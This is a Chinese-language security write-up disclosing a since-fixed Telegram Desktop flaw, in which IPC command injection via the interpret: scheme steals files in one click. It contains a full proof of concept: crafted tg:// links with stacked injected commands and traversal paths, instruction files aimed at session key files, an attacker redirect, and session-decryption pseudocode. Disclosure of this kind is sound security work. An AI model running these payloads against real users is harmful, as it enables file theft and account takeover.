Telegram Desktop vulnerability allowed any user's file to be stolen
TL;DR · AI 摘要
Telegram Desktop: one-click account takeover via IPC injection beaksec Telegram Desktop: one-click account takeover via...
核心要点
- 主题聚焦:Telegram Desktop vulnerability allowed any user'
- 来源:Hacker News Best,建议结合原文判断细节。
- AI 分析暂不可用,本条为保底评分与摘要。
Telegram Desktop:通过IPC注入实现一键账户接管 | beaksec
Telegram Desktop:通过IPC注入实现一键账户接管
Telegram Desktop单实例IPC中未转义的分隔符使得攻击者可以通过一个点击链接读取磁盘上的任意文件(包括会话文件)并发送给攻击者。
发布时间
2026年10月3日
更新时间
2026年10月7日
从点击链接到受害者的会话文件
作者
beaksec
14分钟阅读
Telegram Desktop:通过IPC注入实现一键账户接管
目录
介绍
有人将你添加到Telegram群组中。聊天窗口中出现一个链接。你点击它,你的Telegram账户就不再只属于你自己了。
这是如何发生的?
Telegram Desktop通过本地套接字将点击的链接作为文本传递给其已经运行的实例,且从未对其使用的命令分隔符进行转义。因此,精心构造的链接不会作为单个指令到达,而是作为多个指令到达。
我发现的漏洞链包含两个缺陷。第一个是注入漏洞本身,第二个是注入的命令可以访问的内部URI方案:interpret:,该方案会读取指令文件中指定的文件并将其发送到聊天窗口,而无需验证请求来源或进行确认。这两个缺陷共同作用,使点击链接变成任意文件读取。在本文中,我将逐步分析这条漏洞链,并利用它窃取受害者的登录文件。
受影响版本
Telegram Desktop 7.2.8及更早版本(已在Windows系统6.9.3版本上验证)
影响
远程任意本地文件读取,文件被泄露到攻击者控制的聊天窗口;账户接管
CVE编号
CVE-2026-107181
修复版本
7.2.9,提交记录
db3405699f严重性
8.1 高危,
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N一个链接,两个进程
操作系统允许程序注册URI方案,这样系统就知道遇到这种链接时应该启动哪个应用程序。Telegram Desktop注册了tg。从那时起,系统就知道tg://...链接属于Telegram,并将其作为命令行参数启动。
如果Telegram未运行,进程会启动,将字符串作为参数,转换为URL对象并内部处理:一个进程,无需通信。
但如果Telegram已经在运行?操作系统既不知道也不检查,它仍然会启动一个新进程,与第一个进程完全相同。Telegram本身必须判断自己是冗余的进程,它通过尝试连接本地套接字来实现这一点。
已经运行的实例是服务器:它从启动以来一直在监听该套接字。新进程是客户端。如果它成功连接,说明已经有实例在运行,因此它会将链接传递给该实例并退出。
套接字传输的是字节而非对象。新进程在内存中持有的URL对象无法通过该通道传输,因此必须将其扁平化为一行文本。
这个操作有一个名称:序列化。其逆过程,从文本重建对象,称为反序列化。每当结构化数据需要跨越边界时,这两者都是不可避免的,而这两者正是数据边界内部停止由结构控制、转而成为文本字符的精确点。
Telegram使用自己的格式实现这一点,一个简单的格式。每个指令由关键字、参数和分号组成,分号用于结束指令。打开链接的指令变为:
1
OPEN:tg://x?a=1;tg://x?a=1在Telegram内部不匹配任何处理器,因此单独来看这个链接不会执行任何操作。它只是一个载体。
该行代码在此处构建,每个URL对应一行:
1
2
3
4
// sandbox.cpp:295-297
for
(
const
auto
&
url
:
cRefStartUrls
())
{
commands
+=
u"OPEN:"
_q
+
url
.
toString
(
QUrl
::
FullyEncoded
)
+
';'
;
}在另一端,运行中的实例会进行反序列化:它读取接收到的字节,按每个分号切割,将每个片段视为独立的指令。对于以OPEN:开头的每个片段,它会提取后续内容并重新构建为URL,就像该URL刚刚从命令行传入一样。
1
2
3
4
5
6
// sandbox.cpp:453-463 (abbreviated)
for
(
int32
to
=
cmds
.
indexOf
(
QChar
(
';'
),
from
);
to
>=
from
;
...)
{
auto
cmd
=
base
::
StringViewMid
(
cmds
,
from
,
to
-
from
);
...
}
else
if
(
cmd
.
startsWith
(
u"OPEN:"
_q
))
{
startUrls
.
append
(
cmds
.
mid
(
from
+
5
,
to
-
from
-
5
).
mid
(
0
,
8192
));未转义的分隔符
如果传输的值中包含自己的分号(即该格式用作分隔符的字符),会发生什么?以之前的链接为例,添加一些内容:
1
tg://x?a=1;CMD:quit新进程会将其视为单个URL,因为对它来说,分号只是查询参数中的一个字符。它会将其扁平化并写入套接字:
1
OPEN:tg://x?a=1;CMD:quit;运行中的实例按每个分号切割,得到两个指令而不是一个:
1
2
OPEN:tg://x?a=1
CMD:quit这就是注入攻击,也是两个缺陷中的第一个。
解释器:URI方案
上面的例子注入了CMD:,但不要被这个名字误导:它只接受show和quit,所以最坏的结果只是关闭应用。
总共接受四个命令,其中三个是无害的。第四个是OPEN:,这里有个细节:它接受任何URL,对方案没有过滤。
在代码中进一步挖掘,发现Telegram内部还有一个名为interpret:的URI方案。
操作系统不知道如何处理以interpret:开头的链接,因为它没有在任何地方注册为协议处理器:它只存在于Telegram自己的代码中,与其他URL方案一样,从启动URL列表中提取该方案。
1
2
3
4
// application.cpp:1162-1164
if
(
url
.
scheme
()
==
u"interpret"
_q
)
{
interprets
.
append
(
url
.
path
());
return
false
;因此,通过OPEN:可以访问到它:
1
tg://x?a=1;OPEN:interpret:instructions.txt那interpret:是用来做什么的?
这是Telegram用来发布自己版本的工具。当新版本发布时,构建归档必须发布到带有更新日志作为标题的频道。而不是手动操作,脚本会写一个小型文本文件,指定频道、要发送的文件和要写入的文本,然后使用该文件的路径启动Telegram。
1
2
3
# Telegram/build/updates.py:206
subprocess
.
call
(...
'
Telegram -sendpath interpret://
'
+
scriptPath
+
'
/.../command.txt
'
,
shell
=
True
)指令文件的格式如下:
1
2
3
4
5
6
7
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.from:的值会与当前登录账户的ID进行比较:它防止操作员从错误的账户发布版本。只有当该行存在时才会执行检查,因此省略该行会跳过检查。目标地址仅由channel:设置,且必须是频道或超群。
一个名为 InterpretSendPath 的函数执行了该操作。
那么问题出在哪里呢?interpret: 执行了一个特权操作,可以读取磁盘上的任何文件并将其发送到聊天中,而无需任何人的确认,也无需检查是谁请求的。
该函数没有执行任何授权检查。
1
2
3
4
5
6
7
8
9
// support_helper.cpp:673-680
QString
InterpretSendPath
(
not_null
<
Window
::
SessionController
*>
window
,
const
QString
&
path
)
{
QFile
f
(
path
);
if
(
!
f
.
open
(
QIODevice
::
ReadOnly
))
{
return
"App Error: Could not open interpret file: "
+
path
;
}
const
auto
content
=
QString
::
fromUtf8
(
f
.
readAll
());当该功能通过命令行调用时(这是发布脚本调用它的方式),这不是一个问题:攻击者需要已经在这台机器上获得立足点,而有了这个立足点他们可以直接读取文件。但一旦相同的操作可以通过套接字访问,因此可以通过注入访问,那么受害者点击链接即可使用危险功能。
这是授权缺失的问题,也是两个缺陷中的第二个。
将指令文件传输到磁盘
如果攻击者能够将指令文件放置在受害者的磁盘上,将 file: 指向值得窃取的路径,将 channel: 指向他们自己的频道,那么仅需点击链接即可从该机器窃取任何文件。
那么攻击者如何将文本文件放置在他人磁盘上的可预测路径中呢?显而易见的方式是将其作为聊天附件发送。
事实上,在默认配置下,Telegram Desktop 会自动下载群组中收到的最多 8 MiB 的文件,而在广播频道中自动下载功能是关闭的。文件会保存在标准文件夹中,文件名与发送者选择的相同,无需受害者点击,且位置可预测(如果发生文件名冲突,Telegram 会保存为 instructions1 (2).txt)。某些格式,如贴纸、GIF 和语音消息,会保存到内部缓存中,因此无法通过磁盘路径访问。
Telegram 自己构建了这个路径( file_utilities.cpp:172-181 )。在 Windows 上:
1
C:\Users\<user>\Downloads\Telegram Desktop\<file name>通过将文件发送到群组,攻击者可以确切知道文件将被保存的位置。路径中似乎还有一个未知变量,即 Windows 用户名,但 interpret: 也接受相对路径,而相对路径是根据 Telegram 自己的工作目录解析的,该目录是其数据文件夹( logs.cpp:381 )。在 Windows 上,该目录是 %APPDATA%\Telegram Desktop ,位于用户主目录下三级目录,而 Downloads 直接位于该主目录下。因此,像这样的路径:
1
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt可以让攻击者无需用户名即可获得确定的路径。
从文件读取到账户接管
InterpretSendPath 每次调用仅发送一个文件:如果指令文件包含多个 file: 行,只有最后一行有效。两个因素可以突破这个限制。攻击者可以随意发布任意数量的指令文件,且注入功能不会在第一个命令处停止:每个分号都会开启另一个命令。因此,三个目标可以通过三个指令文件和一个链接中的三个堆叠命令实现。
1
2
3
4
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt原始漏洞原理始终如一:任意文件读取。变化的是读取目标,可能是SSH私钥、浏览器密码存储、云凭证文件,或是包含API令牌的配置文件。
Telegram不会以明文形式存储本地数据,因此用户磁盘上的所有数据(包括会话授权文件)均经过加密。这是客户端向Telegram服务器证明身份的密钥,持有该密钥即可控制对应账户,类似于网站的会话Cookie。
Telegram采用密钥包装技术,涉及两个密钥。第一个是DEK(数据加密密钥),它具有长随机性和高熵值,用于加密用户数据。第二个是KEK(密钥加密密钥),仅用于加密DEK,且不是用户密码。KEK通过密钥派生函数(KDF)从密码和存储在加密DEK旁边的盐值共同生成。
伪代码展示了本地数据解密流程:
1
2
3
4
5
6
salt
,
encrypted_DEK
=
read
(
"
tdata/key_datas
"
)
passcode
=
user_passcode
()
# empty if none is set
KEK
=
KDF
(
passcode
,
salt
)
DEK
=
decrypt
(
encrypted_DEK
,
KEK
)
session
=
decrypt
(
authorization_file
,
DEK
)Telegram桌面版默认没有本地密码,需要用户手动在设置中设置。若未设置密码,派生密钥的密码参数为空(storage_domain.cpp:102),此时KEK由空字符串和盐值生成,而该盐值以明文形式存储在tdata/key_datas文件中,该文件同时保存了加密的DEK。读取该文件即可重新计算KEK并解密DEK。
因此,当未设置密码时,任何获取key_datas文件的人都能获得DEK,而拥有DEK即可解密所有数据,包括会话授权信息。
涉及三个文件,其中仅两个文件包含敏感信息:
1
2
3
4
5
tdata/
├── key_datas 存储盐值和加密的DEK
├── D877F783D5D3EF8Cs 用DEK加密的MTProto授权文件
└── D877F783D5D3EF8C/
└── maps 账户存储数据的索引文件该文件夹名称并非随机生成,也不是特定安装的唯一标识。它是从默认数据名称"data"(storage_file_utilities.cpp:241-250)派生而来,所有安装实例的文件夹名称完全一致。
第三个文件是索引文件,不包含任何敏感信息。但缺少该文件时会话仍无法加载:Telegram在读取该索引时才会读取授权文件。虽然攻击者可以自行构建索引文件,但在此概念验证中,为方便起见直接将三个文件一并获取。
由此可知,攻击者若同时获取这三个文件即可控制账户:将文件放入新的tdata目录,启动Telegram,受害者的会话就会自动加载。
链接投递
攻击只需用户点击一次链接,且必须来自Telegram外部。在Telegram聊天窗口内点击的tg://链接(click_handler_types.cpp:278)由进程内处理,不会到达套接字,因此无法注入内容。而普通https链接(ui_integration.cpp:437)会打开系统浏览器(Telegram桌面版没有内置浏览器),攻击者可通过自己的服务器将https链接重定向到精心构造的tg://链接。
1
2
3
4
5
GET
/rules
HTTP
/
1.1
Host
:
corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt根据浏览器类型以及受害者是否曾使用过该处理器,系统在启动 Telegram 之前可能会要求确认。
概念验证
- 攻击者创建一个超群并将受害者添加到其中。Telegram 的默认隐私设置允许此操作,无需邀请方确认。攻击者在群组中发布三个指令文本文件,每个文件对应要窃取的文件,所有文件均将攻击者自己的群组指定为目的地。省略 from: 行将完全跳过账户检查:1 2 3 channel: 2001234567 file: tdata/key_datas caption: poc 文件必须为纯文本,使用 LF 换行符且不带字节顺序标记。另外两个文件指向 tdata/D877F783D5D3EF8Cs 和 tdata/D877F783D5D3EF8C/maps 。自动下载会在受害者打开群组时将这三个文件保存到其磁盘中,而受害者无论如何都会打开该群组,因为这是第 3 步中链接所在的地点。攻击者向聊天中发送一个无害的链接:1 https://corvus.sec/rules 受害者点击该链接。浏览器会跟随重定向,这次每个目标携带一个命令,此处用换行分隔但实际作为单行发送:1 2 3 4 tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt 操作系统启动第二个 Telegram 进程,通过套接字将 URL 转发给正在运行的进程。未转义的分号将其分割,注入指令随即触发。三个 interpret: 命令执行,三个文件被上传到攻击者的群组。不会显示确认对话框。攻击者从三个文件中重建 tdata 并打开受害者的账户。
缓解措施
升级到 7.2.9 或更高版本。这是唯一真正解决问题的方法。其余措施只能减少暴露风险。
- 启用“询问每个文件的保存位置”。启用此设置后,完全不会发生自动下载,指令文件也永远不会到达磁盘。这是除升级外最有效的缓解措施。仅允许联系人将你添加到群组。被盗文件只能发送到频道或超群,这消除了攻击者交付文件的场所。设置本地密码并像真实密码一样选择。这不能阻止文件被盗,但会使被盗会话无法使用。
修复
该问题通过提交 db3405699f 于 2026 年 9 月 16 日修复。变更日志将 7.2.9 的发布日期标记为同一天;发布于次日早晨。该提交删除了 interpret:// 协议和 Support::InterpretSendPath 完全,同时在单实例套接字上转义记录分隔符:值在写入前使用以百分号开头的十六进制编码进行转义,在分割后解码,因此数据中的分号不能再成为边界。
此外还增加了两项措施:当同一连接携带 OPEN: 时跳过 CMD: 和 CTRL: 记录,且一旦该连接上出现非本地 URL,本地文件路径将被丢弃。
时间线
日期
事件
2026-06-25
通过 ZDI 报告
2026-09-16
供应商独立修复问题,提交
2026-09-17
Telegram Desktop 7.2.9 发布
2026-09-30
ZDI 将案件标记为已修复;披露权归还给我
2026-10-03
本文发布
2026-10-07
已分配 CVE-2026-107181
修复悄无声息地发布:7.2.9 版本更新日志仅提及一个渲染修复,关闭该漏洞链的提交标题为“移除遗留解释路径辅助函数”,且未伴随任何安全公告。
## BeakSec YouTube 频道
> 如果你对这类内容感兴趣,我会在 BeakSec(我的 YouTube 频道)分享网络安全相关内容。频道刚起步,订阅可以给予支持。
研究领域
telegram
high
命令注入
账户接管
任意文件读取
本文由作者授权采用
CC BY 4.0
协议发布
分享